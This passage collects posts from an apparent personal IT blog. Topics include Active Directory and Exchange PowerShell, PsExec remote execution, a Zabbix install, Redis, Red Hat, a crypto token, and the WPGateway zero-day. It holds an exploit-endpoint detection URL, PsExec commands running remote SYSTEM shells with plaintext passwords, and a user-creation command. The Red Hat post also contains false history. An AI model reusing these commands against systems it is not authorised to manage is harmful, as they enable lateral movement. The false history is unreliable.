Move-ADObject "CN=Experts,OU=IT,DC=Contoso,DC=com" -TargetPath "OU=Service,DC=Contoso,DC=com" Add members to a group (example: Group=Experts, User=EdPrice) Add-ADGroupmember Experts -Member EdPrice Delete Group (example: Group=Experts) Remove-ADGroup Experts Delete a User from a Group (example: Group=Experts, User=EdPrice) Remove-ADGroupMember Experts -Member EdPrice Set Description for a Group (example: Group=JoinPC, Description=This group is allowed join PCs to Domain) Set-ADGroup JoinPC -Description "This group is allowed join PCs to Domain" Add Users from one Group to another Group (example: from Group1=DataUsers to Group2=SQLUsers) Get-ADGroupMember DataUsers | Select sAMAccountName | ForEach { Add-ADGroupMember SQLUsers -Members $_.sAMAccountName } Comparing two Groups to see the Group memberships (example: Group1=Administratorso, Group2=DNSAdmins) Compare-Object ( Get-ADGroupMember Administrators) ( Get-ADGroupMember DNSAdmins) -IncludeEqual Organizational Unit (OU) commands All OUs in Domain Get-ADOrganizationalUnit -Filter {Name -like „*“} | FT Name, DistinguishedName -A Create OU (example: OU=IT, Domain=Contoso.com) New-ADOrganizationalUnit -Name IT -Path "DC=Contoso,DC=Com" Contents of a specific OU (example: OU=IT, Domain=Contoso.com) Get-ADObject -Filter {Name -Like "*"} -Searchbase "OU=IT,DC=Contoso,DC=Com" Rename OU (example: Old-Name=IT, New-Name=Admin, Domain=Contoso.com) Rename-ADObject "OU=IT,DC=Contoso,DC=Com" -NewName Admin Delete OU including contents (example: OU=IT, Domain=Contoso.com) Remove-ADOrganizationalUnit IT -Recursive Delete user from specific OU (example: User=EdPrice, OU=IT, Domain=Contoso.com) Remove-ADObject "CN=EdPrice,OU=IT,DC=Contoso,DC=Com" Move all objects from one OU to another OU (example: Old-OU=IT, New-OU=Manager, Domain=Contoso.com) Get-ADObject -Filter {Name -Like "*"} -Searchbase "OU=IT,DC=Contoso,DC=Com" -SearchScope OneLevel | Move-ADObject -TargetPath "OU=Manager,DC=Contoso,DC=Com" User object commands List all User accounts in the Domain Get-ADUser –Filter * List all User accounts in a specific OU (example: OU=IT, Domain=Contoso.com) Get-ADUser –Filter * -Searchbase "OU=IT,DC=Contoso,DC=Com" | FT List all User accounts from specific City (example: City=NewYork) Get ADUser -Filter {city - like "NewYork"} | FT List only disabled User accounts in Domain Search-ADAccount –AccountDisabled –Usersonly | FT Name List all User accounts whose First Name is Ed Get-ADUser –Filter {givenName –Like "Ed"} | FT List all User accounts whose Last Name is Price Get-ADUser –Filter {Surname –Like "Price"} | FT List all User accounts from the specific Department (example: Department=Support) Get-ADUser –Filter {Department –Like "Support"} | FT List a User's Group memberships (example: User=Richard) Get-ADPrincipalGroupMembership -Identity Richard List all Users from specific Group and move Users to another OU (example: Group=People, Target OU=NewYork, Domain=Contoso.com) Get-ADGroupMember People -Recursive | Move-ADObject –TargetPath "OU=NewYork,DC=Contoso,DC=Com" Remove all users in an OU from a specific Group (example: Group=People, OU=NewYork, Domain=Contoso.com) $Users = Get-ADUser -Filter * -Searchbase "OU=NewYork,DC=Contoso,DC=Com" Remove-ADGroupMember -Identity People -Member $Users -Confirm:0 --- ## WPGateway Zero-Day 280.000’den Fazla Web Sitesini Etkiliyor. Link: https://farukguler.com/posts/wpgateway-zero-day/ WPGateway Zero-Day, WordPress tabanlı sitelerin bir güvenlik açığına sahip olan bir eklentisine verilen addır. Bu güvenlik açığı, WPGateway eklentisinin sürüm 1.0.5.3 ve öncesindeki sürümlerde bulunmaktadır. Bu güvenlik açığı, saldırganların siteye kötü amaçlı kod enjekte etmesine ve siteyi ele geçirmesine izin verir. Bu güvenlik açığına sahip olan WPGateway eklentisi, siteye gönderilen form verilerinde yeterli veri doğrulaması yapmamaktadır. Bu nedenle, saldırganlar siteye özel olarak hazırlanmış bir form göndererek, kötü amaçlı kod enjekte edebilirler. Bu kod, site üzerinde farklı işlemler yapabilir, kullanıcıların bilgilerini çalabilir ya da sitenin kontrolünü ele geçirebilir. WPGateway Zero-Day, WordPress tabanlı sitelerin güvenliği için önemli bir tehdittir. Bu nedenle, site sahipleri, WPGateway eklentisinin sürümünü güncellemeli ve güvenlik açığının kapatıldığı sürüme geçmelidir. Ayrıca, site sahiplerinin, güvenlik açıklarını tespit etmek ve sitelerini güvence altına almak için güvenlik taraması yapmaları da önerilir.  Loglarla tespit etmek için: “https:///site.com//wp-content/plugins/wpgateway/wpgateway-webservice-new.php?wp_new_credentials=1” --- ## Red Hat Nedir? Link: https://farukguler.com/posts/red-hat/ Red Hat: Açık Kaynak Kodlu Yazılımın Başarılı Temsilcisi Red Hat, 1993 yılında Bob Young ve Marc Ewing tarafından kurulmuş olan bir yazılım şirketidir. Kurulduğu günden bu yana açık kaynak kodlu yazılımların geliştirilmesi ve kullanımı konusunda öncü bir rol oynamıştır. Özellikle Linux tabanlı işletim sistemleri alanında elde ettiği başarılı sonuçlarla adını dünya genelinde duyurmuştur. Red Hat, Linux işletim sistemi dağıtımı, diğer açık kaynaklı yazılım araçları ve çözümleri için destek, danışmanlık ve eğitim hizmetleri sunan bir şirkettir. Şirket, işletmeler için güvenli, yüksek performanslı ve ölçeklenebilir yazılım çözümleri sunar. Ayrıca, OpenShift adlı bir konteyner platformu ve çeşitli veritabanı yönetim araçları gibi diğer yazılım araçlarıda sunar. Red Hat'in en önemli özelliklerinden biri, açık kaynaklı yazılımın ticari bir modelde kullanımını teşvik etmesidir. Şirket, açık kaynaklı yazılım projelerine katkıda bulunmak için açık kaynak kodlu topluluğuna da destek verir. Bu sayede, işletmelerin ve diğer kullanıcıların ihtiyaçlarına uygun yazılım çözümleri oluşturulurken, açık kaynaklı yazılımın gelişimine de katkıda bulunulmuş olur. Red Hat, Linux işletim sistemi dağıtımları ile özellikle kurumsal kullanıcıların ilgisini çekmiştir. Red Hat Linux işletim sistemi, 2000 yılında yılın işletim sistemi ödülünü almıştır. Red Hat Linux, işletmelerin ihtiyaçlarına uygun olarak güvenli, ölçeklenebilir ve yüksek performanslı bir işletim sistemi sunarak, işletmelerin daha verimli bir şekilde çalışmasına olanak sağlamıştır. Red Hat, açık kaynaklı yazılımın dünya genelinde yaygınlaşmasına da öncülük etmiştir. Örneğin, günümüzde son derece yaygın bir şekilde kullanılan Ubuntu, Red Hat Linux'in bir devamı olarak görülmektedir ve bütün dünyada milyonlarca kişi tarafından kullanılmaktadır. Sonuç olarak, Red Hat, açık kaynaklı yazılımın ticari bir modelde kullanımını teşvik eden, güvenli, ölçeklenebilir ve yüksek performanslı yazılım çözümleri sunan bir şirkettir. Linux tabanlı işletim sistemlerinin dünya genelinde yaygınlaşmasına ön ayak olmuş ve açık kaynaklı yazılım geliştirme konusunda önemli bir rol oynamıştır. Şirketin açık kaynaklı yazılımlara verdiği destek, kullanıcıların yazılımın gelişimine katkıda bulunmasını kolaylaştırırken, işletmelerin de ihtiyaçlarına uygun yazılım çözümleri oluşturulmasını sağlar. Red Hat'in en önemli ürünlerinden biri, OpenShift adlı bir konteyner platformudur. Bu platform, uygulamaların hızlı bir şekilde geliştirilmesine, test edilmesine ve dağıtılmasına olanak sağlar. Ayrıca, platformun kullanımı kolay ve ölçeklenebilir olduğundan, işletmelerin büyümesiyle birlikte gereksinim duydukları kapasiteyi kolayca artırabilmesini sağlar. Red Hat'in sunduğu diğer önemli yazılım araçları arasında veritabanı yönetim araçları da yer alır. Bu araçlar, işletmelerin verilerini yönetmelerine, saklamalarına ve işlemelerine olanak tanır. Ayrıca, araçlar açık kaynaklı olduğundan, işletmelerin verilerini yönetirken aynı zamanda maliyetlerini de düşürmelerine yardımcı olur. Red Hat'in açık kaynaklı yazılım topluluğuna verdiği destek, yazılımın gelişimine katkıda bulunmak isteyenlerin kolayca projelere dahil olmasını sağlar. Böylece, yazılım geliştirme süreci daha hızlı ve verimli bir şekilde gerçekleştirilebilir. Sonuç olarak, Red Hat, açık kaynaklı yazılımın gelişimine ve kullanımına olanak tanıyan, güvenli, ölçeklenebilir ve yüksek performanslı yazılım çözümleri sunan bir şirkettir. Sunduğu konteyner platformu, veritabanı yönetim araçları ve diğer yazılım araçları, işletmelerin ihtiyaçlarına uygun yazılım çözümleri oluşturmalarına yardımcı olurken, açık kaynaklı yazılım topluluğuna verdiği destek de yazılımın gelişimine katkıda bulunmayı kolaylaştırır. Red Hat Enterprise Linux (RHEL) Nedir ? Red Hat Enterprise Linux (RHEL), açık kaynak kodlu bir Linux işletim sistemi olan Red Hat'ın işletmeler için tasarlanmış bir sürümüdür. RHEL, sunucular, masaüstü bilgisayarlar, hipervizörler ve bulut bilişim çözümleri için kullanılabilir. RHEL, Linux'un en popüler dağıtımlarından biridir ve Red Hat ve topluluk destekli muadili Fedora, dünyada en çok kullanılan Linux dağıtımları arasındadır. RHEL, x86, x86-64, PowerPC, Itanium ve IBM System z gibi farklı işlemci mimarileri için sunucu sürümleri ve x86 ve x86-64 için masaüstü sürümleri içerir. Ağustos 2022 itibariyle, RHEL'in son varyantı RHEL 9'dur. Bir Linux dağıtımı olan RHEL, Linux çekirdeği ve belirli görevleri gerçekleştirmek için gerekli olan diğer yazılımları içerir. Ayrıca, RHEL açık kaynak kodlu bir yazılımdır, yani kullanıcılar kaynak kodlarını görüntüleyebilir, indirebilir ve kendi özelleştirilmiş sürümlerini yapabilirler. Aslında, RHEL'den türetilen birçok önemli Linux dağıtımı mevcuttur, bunların arasında CentOS, Oracle Enterprise Linux, Scientific Linux ve Pie Box Enterprise Linux yer alır. Geçmişte, Red Hat sadece destek için ücretlendirilen bir kurumsal ürün olan RHEL'i ücretsiz olarak dağıtıyordu. Ancak daha sonra, Red Hat iki sürüm oluşturmaya karar verdi: daha az sıklıkta sürümlere sahip olacak ve sonuç olarak daha kararlı olacak RHEL ve nispeten daha sık sürüm sürümlerine maruz kalacak ve sonuç olarak daha fazla kanayan teknolojiler sunacak Fedora. Fedora, tamamen ücretsiz olarak verilir ve Red Hat (şirket) tarafından desteklenir, ancak aktif olarak bir geliştiriciler topluluğu tarafından geliştirilir. Fedora, özellikle Linux meraklıları için uygun bir seçenektir. RHEL, Fedora Projesi aracılığıyla geliştirilen teknolojileri alır ve bunları daha güvenilir ve istikrarlı bir ticari ürün haline getirir. Bu nedenle, RHEL işletmeler için en uygun seçenektir. RHEL'e abone olan kullanıcılar, yükleyiciyi ücretsiz olarak indirebilir, ancak destek için ödeme yapmak zorundadır. RHEL, akademik kurumlar için özel sürümleri de sunar. Bu sürümler, RHEL'in tam sürümüne benzer özellikler sunar ancak daha uygun bir fiyatla sunulur. Tipik bir RHEL dağıtımı, hem fiziksel sunucular hem de sanal makineler üzerinde çalışabilecek şekilde tasarlanmıştır. Ayrıca, bulut platformları gibi modern bilişim altyapılarına da uyum sağlar. RHEL, güçlü bir güvenlik alt yapısı sağlayarak verilerin korunmasına yardımcı olur. İşletmeler, kritik iş yüklerini RHEL üzerinde güvenle çalıştırabilirler. Red Hat Enterprise Linux, açık kaynak kodlu bir işletim sistemi olduğu için geliştiriciler, kaynak kodunu görüntüleyebilir, indirebilir ve kendi özelleştirilmiş sürümlerini yapabilirler. RHEL, Red Hat'in desteklediği ve topluluk destekli birçok proje tarafından geliştirilen Fedora Projesi'nden türetilmiştir. Red Hat, RHEL'e yenilikler eklemek ve güncelleştirmeler sağlamak için Fedora Projesi'nden ilham alır ve bu yenilikleri ve güncelleştirmeleri daha güvenilir ve istikrarlı bir şekilde RHEL'de sunar. RHEL, birçok endüstri standardına uygunluğu ve sertifikasyonları ile de dikkat çeker. Bu nedenle, özellikle finans, sağlık ve hükümet sektörleri gibi düzenlemelere tabi olan endüstrilerde kullanımı yaygındır. RHEL'in son sürümü RHEL 9, Ağustos 2022'de piyasaya sürülmüştür. RHEL 9, önceki sürümlere kıyasla birçok yenilik ve geliştirme sunar. Örneğin, RHEL 9, Kubernetes ve OpenShift Container Platform gibi konteyner orkestrasyon platformlarını destekler ve daha yüksek ölçeklenebilirlik ve performans sunar. Ayrıca, RHEL 9, yerleşik bir Bulutla Entegrasyon Kitaplığına sahiptir ve uygulamaları AWS, Azure ve Google Cloud gibi popüler bulut platformlarına hızlı ve kolay bir şekilde taşımanızı sağlar. Sonuç olarak, Red Hat Enterprise Linux, dünya genelinde birçok işletme tarafından tercih edilen güçlü bir işletim sistemidir. Açık kaynak kodlu olması, topluluk desteği ve güçlü güvenlik özellikleri, RHEL'in popülerliğinin arkasındaki nedenlerdir. Ayrıca, endüstri standartlarına uygunluğu ve sertifikasyonları, özellikle düzenlemelere tabi olan sektörlerde kullanımı kolaylaştırır. --- ## Numeraire (NMR) Nedir? Veri Bilimcilerinin Yönettiği Merkeziyetsiz Hedge Fonu Link: https://farukguler.com/posts/numeraire-nmr-nedir/ Numeraire (NMR), bir blockchain, bir Layer 1 (Katman 1) veya bir DeFi platformu değildir. O, Numerai adında, San Francisco merkezli, gerçek dünya hisse senedi piyasalarında işlem yapan bir hedge fonunun (yatırım fonu) kullandığı kripto-ekonomik bir teşvik protokolüdür. Projenin misyonu, geleneksel hedge fonlarının “kapalı kapı” modelini kırmak ve dünyanın en iyi borsa tahmin modelini (“Metamodel”) binlerce anonim veri bilimcisinden oluşan küresel bir ağ aracılığıyla “kitle kaynak (crowdsource)” yoluyla elde etmektir. NMR, bu sistemin merkezinde yer alan, son derece spesifik bir amaca hizmet eden (ERC-20) token’ıdır: Veri bilimcilerinin kendi tahmin modellerine “güvendiklerini kanıtlamak” için kullandıkları bir staking (kilitleme) ve yakım (burning) aracıdır. “Geleneksel Hedge Fon” Problemi Nedir? Geleneksel Wall Street fonları (örn. Citadel, Renaissance) şöyle çalışır: En iyi üniversitelerden (MIT, Harvard) bir avuç “star” kantitatif analisti (quant) işe alır. Onlara milyonlarca dolar maaş öder. Bu analistler, piyasayı yenmek için gizli “kara kutu” (black box) algoritmalar yazar. Problem: Bu model pahalıdır, yetenek havuzu dardır (sadece işe aldıklarıyla sınırlıdır) ve bu “star” analistlerin modelleri bir süre sonra çalışmayı durdurabilir (alpha decay). Numerai’nin Radikal Çözümü: Kripto-Ekonomik Turnuva Numerai, bu modeli tersine çevirir: “En iyi 10 analisti işe almaktansa, ya dünyadaki 10.000 analistin hepsine şans verirsek?” İşte sistemin adım adım çalışma şekli: Veri Sağlama: Numerai, binlerce farklı hisse senedine ait şifrelenmiş (obfuscated) finansal veriyi haftalık olarak yayınlar. (Veri bilimciler hangi hisse senedini veya hangi veriyi (P/E, momentum vb.) analiz ettiklerini bilmezler, sadece desenleri görürler. Bu, stratejinin çalınmasını engeller.) Turnuva (The Tournament): Dünyanın dört bir yanındaki binlerce anonim veri bilimcisi bu veriyi indirir, kendi yapay zeka (AI) ve makine öğrenimi (ML) modellerini eğitir ve borsanın bir sonraki hafta hangi yöne gideceğine dair tahminlerini Numerai’ye geri yükler. Staking (Bahis): Burası NMR’nin devreye girdiği yerdir. Bir veri bilimcisi, tahmininin gerçekten iyi olduğuna inanıyorsa, tahminine olan güvenini kanıtlamak için NMR token’larını o tahmine “stake eder” (kilitler). Metamodel (Ana Model): Numerai, gelen tüm bu binlerce (ve NMR stake edilmiş) tahmini alır, bunları birleştirir ve “Metamodel” adını verdiği tek bir “ana” ticaret sinyali oluşturur. Ticaret (Trading): Numerai hedge fonu (gerçek, SEC onaylı bir fon), ABD hisse senedi piyasalarında bu Metamodel’e dayanarak gerçek para ile alım-satım yapar. NMR Token’ı: Dâhice ve Acımasız Tokenomik NMR’nin tokenomisi, kripto dünyasındaki en ilginç ve en acımasız mekanizmalardan biridir. Bu, bir “al-tut” (HODL) token’ından çok, bir “performans kanıtı” aracıdır. Bir veri bilimcisi için iki senaryo vardır: KAZANÇ (Model İyi Çalışırsa): Veri bilimcinin modeli doğru tahminler yapar ve Numerai fonuna para kazandırırsa (ve model “orijinal” ise, yani başkalarının kopyası değilse), o veri bilimcisi daha fazla NMR token ile ödüllendirilir. Bu ödüller, protokol tarafından yeni basılan (enflasyonist) NMR’lardan veya fondan ödenir. KAYIP (Model Kötü Çalışırsa - YAKIM): Veri bilimcinin modeli kötü performans gösterir ve Numerai fonuna para kaybettirirse… …o model üzerine kilitlediği (stake ettiği) NMR token’ları geri alınamaz bir şekilde YAKILIR (BURNED) ve yok edilir. Bu, bir “skin in the game” (kaybedecek bir şeyi olma) mekanizmasıdır. Veri bilimcileri sadece iyi modeller göndererek ödül kazanmaz; kötü modeller göndererek cezalandırılırlar. Bu, herkesin sadece en iyi modelini göndermesini sağlar. Token Arzı ve Gelecek Beklentisi Token Arzı (Gerçeklik) Maksimum Arz: 11.000.000 NMR ile sert bir şekilde sınırlandırılmıştır. Mevcut Arz: Dolaşımdaki arz yaklaşık 6.5 Milyon NMR’dir. Kalan token’ların çoğu, turnuva ödülleri olarak gelecekte dağıtılmak üzere Numerai hazinesinde tutulmaktadır. Arz Dinamiği (Kritik Gerçek): NMR token’ı hem enflasyonist hem de deflasyonist bir dinamiğe sahiptir: Enflasyonist Baskı: Turnuvada iyi performans gösterenlere ödül olarak yeni NMR’ler basılır ve dağıtılır (Maksimum 11 Milyon sınıra ulaşana kadar). Deflasyonist Baskı (Yakım): Turnuvada kötü performans gösterenlerin stake ettiği NMR’ler kalıcı olarak yakılır. Sonuç: Dolaşımdaki arzın artması veya azalması, veri bilimcilerinin kolektif olarak ne kadar “başarılı” olduğuna bağlıdır. Eğer çok fazla kötü model varsa, net etki deflasyonist olabilir. Gelecek Beklentisi ve “Acı Gerçekler” NMR’nin gelecekteki değeri, tek bir şeye, ama çok zor bir şeye bağlıdır: Numerai’nin Metamodel’i, S&P 500’ü veya diğer endeksleri uzun vadede, istikrarlı bir şekilde yenebilir mi? 1. Pozitif Beklenti (The Bull Case): Metamodel giderek daha akıllı hale gelir ve fonun performansı (AUM - Yönetilen Varlık) büyür. Fonun performansı büyüdükçe, veri bilimcilerine dağıtılacak ödüller artar. Ödüller arttıkça, daha fazla (ve daha iyi) veri bilimcisi turnuvaya katılır. Daha fazla katılımcı, modeline güvenmek için piyasadan NMR satın almak zorunda kalır (stake etmek için). Bu, mükemmel bir “talep döngüsü” (demand loop) yaratır: Fonun başarısı = NMR’ye olan talebin artması. NMR’nin değeri, spekülasyondan ziyade, fonun performansına ve katılımcı sayısına bağlanır. 2. Negatif Beklenti (The Bear Case / Acı Gerçekler): Gerçek 1 (Zorluk): Piyasayı istikrarlı bir şekilde yenmek, “finansın kutsal kâsesidir” ve neredeyse imkansızdır. Dünyanın en büyük fonları bile bunu başaramazken, anonim bir kalabalığın bunu yapabileceğinin garantisi yoktur. Gerçek 2 (Ölüm Sarmalı - Death Spiral): Ya Metamodel başarısız olursa? Fon para kaybeder -> Veri bilimcilerinin stake ettiği NMR’ler yakılır -> Veri bilimciler para kaybeder ve sinirlenip platformu terk eder -> Daha az katılımcı, Metamodel’in daha da kötüleşmesine neden olur -> Bu, daha fazla para kaybına yol açar. Bu bir “ölüm sarmalıdır”. Gerçek 3 (Merkeziyet Riski): Bu bir DAO (Merkeziyetsiz Otonom Organizasyon) değildir. Numerai (Richard Craib’in şirketi) hâlâ veriyi kontrol eder, fonu yönetir, kuralları belirler ve Metamodel’i çalıştırır. Proje “merkeziyetsizleşiyor” olsa da, kaderi hâlâ merkezi bir ekibe bağlıdır. Sonuç Numeraire (NMR), kripto dünyasındaki en “zeki” ve en cüretkâr deneylerden biridir. Basit bir L1 veya DeFi projesi değildir. O, “İnsan + Makine + Kripto-Ekonomi” kullanarak dünyanın en zor problemlerinden birini (piyasayı yenmek) çözmeye çalışan, yüksek riskli, yüksek ödüllü bir protokoldür. NMR’ye yatırım yapmak, “bu blockchain daha hızlı” demek değildir; bu, “Binlerce anonim veri bilimcisinin kolektif zekâsı, Wall Street’in en pahalı ‘star’ analistlerini yenebilir” tezine yapılmış bir bahistir. --- ## PsExec Nedir? Link: https://farukguler.com/posts/psexec-used/ PsExec uygulayacağınız komutları uzak Windows sistemlerde çalıştırarak sonuçları kendi ekranınızda monitör edebilmenizi sağlayan bir uzak yönetim aracıdır. PsExec Toollunun mimarı Mark Russinovich‘dir. Microsoft bu aracı satın alarak genel kullanıma sunmuştur. Download Link: buradan : PsTools.ZIP Paket olarak indirilebilen PsTools paketindeki araçlar şunlardır: PsExec - İşlemleri uzaktan yürütme PsFile - uzaktan açılan dosyaları gösterir PsGetSid - Bir bilgisayarın veya kullanıcının SID'sini görüntüleme PsInfo - sistemle ilgili bilgileri listeleme PsPing - ağ performansını ölçme PsKill - işlemleri ada veya işlem kimliğine göre sonlandırma PsList - işlemler hakkında ayrıntılı bilgileri listeleyin PsLoggedOn - Yerel olarak ve kaynak paylaşımı aracılığıyla kimlerin oturum açtığını görün (tam kaynak dahildir) PsLogList - olay günlüğü kayıtlarının dökümünü oluşturma PsPasswd - hesap parolalarını değiştirir PsService - hizmetleri görüntüleme ve denetleme PsShutdown - Bilgisayarı kapatır ve isteğe bağlı olarak yeniden başlatır PsSuspend - işlemleri askıya alır PsUptime - Sistemin son yeniden başlatılmasından bu yana ne kadar süreyle çalıştığını gösterir (PsUptime'ın işlevselliği PsInfo'ya dahil edilmiştir ParametreKullanımı Hakkında-aUygulamanın hangi işlemcide uygulanacağı belirlenir. Örnek olarak uygulamayı CPU 1 ve CPU 2 de işletmek için “-a 1,2″ parametresini girmek gerekir.-cBelirtilen programı uzak bilgisayara kopyalar. Eğer boş bırakılırsa uygulamanın uzak sistemde çalıştırılabilir sistem yolu üzerinde bulunması gereklidir.-dUygulamanın bitmesini bekleme.-eBelirlenmiş kullanıcı profilini yükler.-fProgram uzak sistemde yüklü olsa bile kopyalama yapar.-iUzak sistemin masaüstü ile etkileşecek şekilde programı çalıştırır.-lSüreç limitli kullanıcı olarak çalıştırır.-nUzak bilgisayardan timeout zamanını saniye olarak belirler.-pKullanıcı adına şifre belirler. Değer boş geçilirse şifre girişi için bir ekran açar.-sUzak süreç Sistem hesabı ile çalışır-uUzak bilgisayara giriş için kullanıcı adı belirler.-vProgram eğer uzak bilgisayardakinden yeni veya daha üst versiyonda ise kopyalama işlemi yapar.-wSürecin çalışacağı klasörü belirler.-xKullanıcı arabirimini Winlogon masaüstünde gösterir.-prioritySürecin çalışma önceliğini belirler -low, -belownormal, -abovenormal, -high veya -realtimecomputerPsExec’in hangi bilgisayar veya bilgisayarlarda çalıştırılacağı belirler. Eğer boş bırakırsanız lokal sistemde çalışır, eğer bilgisayar ismi olarak “\\*” verilirse içinde bulunulan domaindeki bütün bilgisayarlarda uygulama çalıştırılır.@filePsExec’in yazi dosyasında listelenen her bilgisayar için çalışmasını sağlar CMD: #Uzak Bilgisayara Domain admin ve şifresi ile bağlanmak psexec \\remote_computer & ip -u domain\admin -p password -i process_name psexec \\10.5.10.53 -u guler.com\faruk -p Password524+* -i cmd #Uzak bilgisayarda uygulama(örn:NOTEPAD) başlatmak psexec \\computer-istanbul -u guler.com\faruk -p Password524+* -i calc #Uzak bilgisayarda PID numarasına bakarak uygulama sonlandırmak pskill \\computer-istanbul -t 2672 #Uzak bilgisayarın ip adres bilgilerini almak psexec \\COMPUTER-istanbul ipconfig -all #Uzak bilgisayara mesaj göndermek psexec \\COMPUTER-istanbul msg * merhaba-hello #Uzak bilgisayarda Powershell'i açmak psexec \\computer-istanbul -s -i -d powershell #Uzak bilgisayarda Regedit'i açmak psExec \\computer-istanbul -s -i regedit.exe PsExec \\computer-istanbul -i -d "C:\windows\regedit.exe #Uzak bilgisayarda Chrome çalıştırmak PsExec \\10.5.x.x -i -d "C:\Program Files\Google\Chrome\Application\chrome.exe" #Uzak bilgisayarda kullanıcı oluşturup parola tanımlamak Net user wordpress Password123+ /add Saygılarımla. – Best Regards. --- ## How To Install Zabbix Agent on Ubuntu 22.04.1 LTS Link: https://farukguler.com/posts/install-zabbix-agent-on-ubuntu/ Step 1 - Install Zabbix repository wget https://repo.zabbix.com/zabbix/6.2/ubuntu/pool/main/z/zabbix-release/zabbix-release_6.2-4%2Bubuntu22.04_all.deb dpkg -i zabbix-release_6.2-4+ubuntu22.04_all.deb Step 2 – Install Zabbix Agent on Ubuntu sudo apt update sudo apt install zabbix-agent Step 3 –Edit Zabbix agent configuration file sudo nano /etc/zabbix/zabbix_agentd.conf ########################################## #Server=[zabbix server ip] #Hostname=[Hostname of client system ] Server=10.5.10.83 Hostname=zabbix-node.guler.com Step 4 - Zabbix-agent listens on port 10050 by default. Verify this: sudo netstat -pnltu Step 5 - If you have ufw  Firewall enabling #Allow port 10050 on the firewall. This is used by Zabbix agent daemon. sudo ufw allow 10050/tcp Step 6 – "Finally" Manage Zabbix Service sudo systemctl restart zabbix-agent sudo systemctl enable zabbix-agent #sudo systemctl stop zabbix-agent sudo systemctl status zabbix-agent Saygılarımla. – Best Regards. --- ## Bir kullanıcı etki alanı içinde aynı anda kaç makineden giriş yapabilir ? Link: https://farukguler.com/posts/how-many-login-in-a-user-account/ Herhangi bir NAC kuralı ile müdahale edilmediği sürece Varsayılanda herhangi bir sınır yoktur. Etkin bir oturum açmalar AD kaynağını kalıcı olarak işgal etmez ve "oturum açma durumları" için herhangi bir merkezi izleme sistemi yoktur.Etki alanı denetleyicisi yalnızca bir Kerberos oturum açma bileti verir ve bunu sonra unutur. (Yeni alınan biletler eskileri geçersiz kılmaz.) Eğer (Gezici Profil) kullanıyorsanız , o zaman bu sınır (1) olacaktır. çünkü bir kullanıcının dosya sunucusundaki "merkezi" profili aynı anda yalnızca bir bilgisayar tarafından kullanılabilir ve ek bilgisayarlardaki oturum açma işlemleri geçici olarak hataya düşecektir.Ayrıca; (gezici profiller) varsayılan olarak etkin değildir ve Microsoft genellikle bunun kullanılmasını önermez.) Default has no limits unless tampered with by any NAC rule. Active logins do not occupy the AD resource permanently and there is no central monitoring system for "login sessions".The domain controller simply issues a Kerberos login ticket and then forgets it. (Newly purchased tickets do not invalidate old ones.) If you are using (Roaming Profile), then this limit will be (1). because a user's "central" profile on the file server can only be used by one computer at a time, and logins on additional computers will fail temporarily.Moreover; (roaming profiles) are not enabled by default and Microsoft generally does not recommend using it.) Yararlı Olması Dileğiyle. – Best Regards. --- ## Redis Nedir ? - Redis Hakkında Link: https://farukguler.com/posts/redis-nedir/ Redis; is one of the most used and known NoSQL databases by developers. Redis is open source and its source codes are available on GitHub. It gives high performance results because it is written in C language. It is supported by Linux and derivative operating systems, but is supported by the community, although there is no official support for the Windows side. Redis is the most used key-value database in today's systems and is generally used for caching, session management, pub/sub, message broker. It is an abbreviation for Remote Dictionary Service. Written in C language. The starting point is "speed". It has the feature of being a NoSQL database designed as “Key : value”. It has -In memory Database approach. Optionally, it also has the ability to be written on the disc. (It happens automatically) It is an advanced key-value store. It is not an alternative to Relational Database or Document-based Database systems. If you are using databases such as MySQL, PostgreSQL, it would not be the right approach if you say to use Redis instead of these databases. On the contrary, it can be used as a middleware to define the relationships of these DB types. Best use for structures with rapidly growing data with predictable DB size. What Data Types Does It Support? -String-Hash-list-Set-Sorted Set-Geospatial Index-HyperLogLog can store data types in it. What are the Usage Areas? -Can be used as a database.-It can write the stored data on the disk with its Persist capability.-Caching Layer is widely used.-It's very fast.-Message Broker-It doesn't just work as a key-value store. It can also be used as a message broker like RabbitMQ. Use Case: It can be used in cache mechanisms.It can be used where the Publish/Subscribe model can be applied.For example, the user publishes a message (pub) that goes to all followers (sub).-In the blocking and delaying of queues.-In short live data-Fraud detection (Fraud detection)-In session controls-Filtering services-Comment countsIt is very fast in listing the products on a site like Amazon, and in viewing the comments made on these products. -By keeping a copy of the database on redis, operations can be performed quickly without tiring the database.-In analysis of real data -Each time a unique data is stored. When should we use it? -When very high speed is neededWhen you need more than -key-value pair-Where dataset is not critical.-It works as (in memory) by default. -If the disk write feature is not active, the data will be deleted when the server is shut down. What to Consider When Using? -Data is stored on memory, so there are a lot of memory constraints.-An empty instance uses 1Mb of memory. (When a client is created in Rediste, it takes up 1MB of memory.)-1 Million small key-value (string) pairs use 100Mb of memory.-1 Million small key-value pairs (hash consisting of 5 fields) use 200Mb of memory. Performance? Since Redis does not work synchronously, the data is processed one by one. It processes 80,000 requests at less than 1msec (milliseconds). If we activate the Redis pipelined feature, it will gain incredible speed. When the Pipeline feature is activated, it does all the work collectively. The number of transactions made under 1 msec (milliseconds) increases up to 250,000. The picture shows the number of processes and times of different applications. Scaling? -Persistence: Redis provides two different mechanisms for persistence.-RDB (Redis Database Snapshot): It takes an exact copy of the database.-AOF (Append Only Files): It offers us the feature of adding only to the file.-Replication-One redis instance comes as master and other instances comes as slave.-Instances that come as slaves are copies of the master instance.-Client connects to one of the slave or master instances.-Slave only reads by default.-Partitioning: We can divide and share data.-Failover: Undesirable situations may occur in network flows and may cause interruptions. It is the mechanism that specifies how to behave in such situations.-Manual-Automatic: Redis Sentiel – for master-slave(replication) topology-Auto: Redis Cluster – for cluster(partitioning) topology Which companies use Redis today? -Twitter-Github-Pinterest-StackOverFlow-Snapchat --- ## Exchange Remote Management with Powershell Link: https://farukguler.com/posts/exchange-remote-management-with-powershell/ #Define credentials and connection details$adminUsername = "faruk" # Replace with your admin username$adminPassword = "123passwd+" # Replace with your admin password$exchangeUri = "http://exc1.guler/Powershell/" # Exchange PowerShell endpoint#Create a PSCredential object$UserCredential = New-Object System.Management.Automation.PSCredential($adminUsername, (ConvertTo-SecureString $adminPassword -AsPlainText -Force))#Establish a remote PowerShell session to Exchange$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $exchangeUri -Authentication Kerberos -Credential $UserCredential#Import the session into the current PowerShell sessionImport-PSSession $Session -DisableNameChecking -AllowClobber#Define mailbox details$password = ConvertTo-SecureString "passwd$$" -AsPlainText -Force # Replace with the desired password$userPrincipalName = "test_user12@guler.com" # the user's email address$alias = "test_user12" # Replace with the desired alias$database = "Mailbox_DB1" # Replace with the mailbox database name$displayName = "Test 12" # Replace with the display name$ou = 